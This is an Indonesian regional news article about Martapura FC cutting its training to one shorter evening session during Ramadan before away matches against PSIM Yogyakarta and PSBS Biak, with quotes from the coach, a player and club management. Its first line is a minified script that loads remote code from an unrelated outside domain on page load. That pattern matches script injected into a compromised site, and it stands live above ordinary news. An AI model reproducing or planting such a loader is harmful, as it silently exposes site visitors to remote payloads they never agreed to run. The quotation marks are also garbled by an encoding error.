(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Selama bulan suci Ramadhan 1439 H, Martapura FC tetap berlatih rutin walaupun dengan keadaan sedang menjalankan ibadah puasa. Mengingat usai jeda kompetisi Liga 2 2018, Laskar Sultan Adam dipastikan akan melakoni dua laga tandang berturut-turut.
Tim pelatih mempunyai kebijakan sedikit menurunkan intensitas latihan Qischil Gandrum Minny dan kawan-kawan, maka tak heran jika pada hari biasa tim melakukan latihan sebanyak dua kali yakni pagi dan sore, kini hanya satu kali.
Selama bulan Ramadhan, tim hanya melakukan aktivitas latihannya pada sore hari alias menjelang berbuka puasa sedangkan pagi hari diliburkan. Tidak hanya mengurangi jadwal latihan, tim pelatih pun juga mengurangi durasi latihan pada sore hari.
“Selama puasa tim hanya melakukan latihan sekitar satu jam. Selisih sekitar setengah jam dibandikan hari biasanya,†ujar pelatih kepala Martapura FC, Hartono Ruslan.
Dijelaskan oleh Hartono, pengurangan durasi latihan ini tak lain untuk menyesuaikan dengan kondisi anak asuhnya. “Pemain sebagian besar sedang menjalankan ibadah puasa, makanya harus disesuaikan juga dengan kondisi pemain,†ujarnya.
Bek kiri Martapura FC, Aditya Putra Dewa yang menceritakan pengalaman pertama berpuasa Ramadhan di Martapura. Ia mengaku terkesan dengan nuansa religi yang ditampilkan kota Serambi Makkah tersebut.
“Saya merasa beruntung bisa berada di kota ini dan bisa berpuasa disini. Karena suasananya sangat tenang dan sangat khas dengan suasana Islami,†ungkapnya.
Pada Ramadhan tahun lalu, Dewa berada di Batam. Menurutnya ada keunikan tersendiri di setiap daerah, namun di Martapura ia mendapatkan banyak pengalaman dan hal baru. Diantaranya beragam kuliner yang tersedia saat menjelang berbuka. Diakuinya, banyak pilihan kue basah menjadi penyemangat saat berbuka puasa.
Mengarungi latihan bersama Martapura FC, mau tidak mau harus membuat Dewa berpisah sementara waktu bersama istri dan anak-anaknya di Makassar. Meskipun jauh namun ia punya cara tersendiri untuk mengobati rasa kangen kepada keluarganya.
“Saya selalu menyempatkan waktu menghubungi mereka untuk menjaga komunikasi, bisa lewat Whatsapp, telpon atau video call dengan istri dan anak-anak,†pungkasnya.
Perlu diketahui nantinya Laga away pertama usai jeda selama bulan suci Ramadhan ini, Martapura FC akan dijalankan dengan menyambangi markas PSIM Yogyakarta pada Selasa (3/7) malam. Berselang enam hari kemudian atau tepatnya Senin (9/7), Martapura FC akan menjalani laga di markas PSBS Biak.
Pada dua laga tandang tersebut, manajemen Martapura FC pun berharap tim bisa mendapatkan point. “Tim akan menghadapi dua laga tandang. Manajemen berharap tim tidak kehilangan poin,†ujar asisten manajer Martapura FC, Ami Said.
Torehan point dalam laga tandang lanjut Said sangatlah penting bagi tim untuk bisa memperbaiki peringkat di klasemen Grup Timur. Apalagi seperti diketahui tim sempat mengalami kekalahan pada laga kandang pertama yakni menjamu Persiwa Wamena.
Hingga saat ini tim Martapura FC masih belum berhasil mendapatkan point saat berlaga di luar kandang. “Tim sempat hilang poin di kandang, makanya harus kerja keras mencari point penggantinya di luar kandang,†pungkasnya. (rendy)
KANALKALIMANTAN.COM, BANJARBARU – Peringatan Isra Mikraj Nabi Besar Muhammad SAW 1447 Hijriah, di aula kantor… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR meninjau titik banjir rob upaya… Read More
KANALKALIMANTAN.COM, AMUNTAI - Bertajuk "Jalan Sehat ASN Bangga Pakai QRIS" Bank Kalsel menggelar jalan santai… Read More
KANALKALIMANTAN.COM, BANJARBARU — Social Justice Institute Kalimantan (SJIK) kembali mengingatkan kasus pembunuhan Zahra Dilla yang… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat dukungan pemerintah pusat dalam percepatan pembangunan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Wakil Presiden (Wapres) Gibran Rakabuming Raka meninjau langsung lokasi banjir di Kalimantan… Read More
This website uses cookies.